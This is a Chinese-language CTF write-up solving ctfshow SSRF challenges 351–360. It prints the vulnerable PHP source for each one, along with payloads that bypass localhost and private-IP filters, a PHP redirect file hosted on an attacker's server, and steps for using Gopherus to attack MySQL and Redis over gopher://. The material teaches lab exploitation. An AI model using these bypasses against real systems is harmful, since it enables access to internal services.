天天看點

ctfshow web入門 SSRF(超詳解)前言web351web352web353web354web355web356web357web358web359——Gopher協定打無密碼的mysqlweb360——Gopher協定打redis

前言

SSRF(Server-Side Request Forgery:伺服器端請求僞造) 是一種由攻擊者構造形成由服務端發起請求的一個安全漏洞。一般情況下,SSRF攻擊的目标是從外網無法通路的内部系統。(正是因為它是由服務端發起的,是以它能夠請求到與它相連而與外網隔離的内部系統)

https://ctf-wiki.org/web/ssrf/

https://www.freebuf.com/articles/web/260806.html

web351

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);//初始化 cURL 會話
curl_setopt($ch, CURLOPT_HEADER, 0);//啟用時會将頭檔案的資訊作為資料流輸出。
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);//将curl_exec()擷取的資訊以檔案流的形式傳回,而不是直接輸出。
$result=curl_exec($ch);//執行 cURL 會話
curl_close($ch);//關閉 cURL 會話
echo ($result);
?>
           

ssrf就是利用我們可以通路到的伺服器,對其伺服器下面的内網進行探測,也可以了解為伺服器擁有外網ip,而我們要通路的電腦則是在公網ip進行nat後配置設定的内網ip

payload:url=127.0.0.1/flag.php

web352

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);//解析一個 URL 并傳回一個關聯數組,包含在 URL 中出現的各種組成部分。
if($x['scheme']==='http'||$x['scheme']==='https'){//或
if(!preg_match('/localhost|127.0.0/')){//這裡應該設定比對的對象
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>
           
ctfshow web入門 SSRF(超詳解)前言web351web352web353web354web355web356web357web358web359——Gopher協定打無密碼的mysqlweb360——Gopher協定打redis

parse_url小結

payload:

url=http://0/flag.php
url=http://0.0.0.0/flag.php
url=http://0x7f.0.0.1/flag.php
url=http://0177.0.0.1/flag.php
           

web353

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>
           

payload:

url=http://0/flag.php
url=http://127.1/flag.php
url=http://0x7f.0.0.1/flag.php
url=http://0177.0.0.1/flag.php
           

web354

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>
           

payload:

奇淫巧技:将域名A類指向127.0.0.1
http(s)://sudo.cc/指向127.0.0.1

url=http://sudo.cc/flag.php

也可以
<?php header("Location: http://127.0.0.1/flag.php");
# POST: url=http://your-domain/ssrf.php
           

web355

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>
           

多了一個限制讓host位數小于5:

url=http://0/flag.php
url=http://127.1/flag.php
           

web356

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>
           

小于3:

url=http://0/flag.php

web357

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
    die('ip!');
}


echo file_get_contents($_POST['url']);
}
else{
    die('scheme');
}
?>
           

filter_var — 使用特定的過濾器過濾一個變量

PHP FILTER_VALIDATE_IP 過濾器

ctfshow web入門 SSRF(超詳解)前言web351web352web353web354web355web356web357web358web359——Gopher協定打無密碼的mysqlweb360——Gopher協定打redis

被保留ip位址同上

我的vps不在保留ip和私有ip範圍内,是以在/var/www/html目錄下寫一個ssrf.php,就能繞過,之是以這麼過濾,也算是預防ssrf的一個方式

<?php 
header("Location: http://127.0.0.1/flag.php");
?>
           
ctfshow web入門 SSRF(超詳解)前言web351web352web353web354web355web356web357web358web359——Gopher協定打無密碼的mysqlweb360——Gopher協定打redis

web358

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
    echo file_get_contents($url);
}
           

要求以http://ctf.開頭,以show結尾:

url=http://[email protected]/flag.php?show

parse_url小結

parse_url()  
						 
<?php
$url = 'http://username:[email protected]/path?arg=value#anchor';
print_r(parse_url($url));
echo parse_url($url, PHP_URL_PATH);
?>
結果----------------------------------------------------------------------------------------------------
Array
(
    [scheme] => http
    [host] => hostname			//
    [user] => username			@前
    [pass] => password			@前
    [path] => /path				/
    [query] => arg=value		?以後的key=value
    [fragment] => anchor		#以後的部分
)
	/path
           
<?php
$url = 'http://[email protected]/flag.php?show';
$x = parse_url($url);
var_dump($x);
?>

//運作結果:
array(5) {
  ["scheme"]=>
  string(4) "http"
  ["host"]=>
  string(9) "127.0.0.1"
  ["user"]=>
  string(4) "ctf."
  ["path"]=>
  string(9) "/flag.php"
  ["query"]=>
  string(4) "show"
}
           

web359——Gopher協定打無密碼的mysql

1.下載下傳

Gopherus:

git clone https://github.com/tarunkant/Gopherus.git

python gopherus.py
           
ctfshow web入門 SSRF(超詳解)前言web351web352web353web354web355web356web357web358web359——Gopher協定打無密碼的mysqlweb360——Gopher協定打redis

2.将得到經過url編碼的字元再編碼一次

ctfshow web入門 SSRF(超詳解)前言web351web352web353web354web355web356web357web358web359——Gopher協定打無密碼的mysqlweb360——Gopher協定打redis

3.最後在check.php頁面POST傳參

ctfshow web入門 SSRF(超詳解)前言web351web352web353web354web355web356web357web358web359——Gopher協定打無密碼的mysqlweb360——Gopher協定打redis
ctfshow web入門 SSRF(超詳解)前言web351web352web353web354web355web356web357web358web359——Gopher協定打無密碼的mysqlweb360——Gopher協定打redis

去根目錄下有flag.txt

web360——Gopher協定打redis

端口為6379同樣操作就可以了😊,但是我把環境幹廢了i🙃

ctfshow web入門 SSRF(超詳解)前言web351web352web353web354web355web356web357web358web359——Gopher協定打無密碼的mysqlweb360——Gopher協定打redis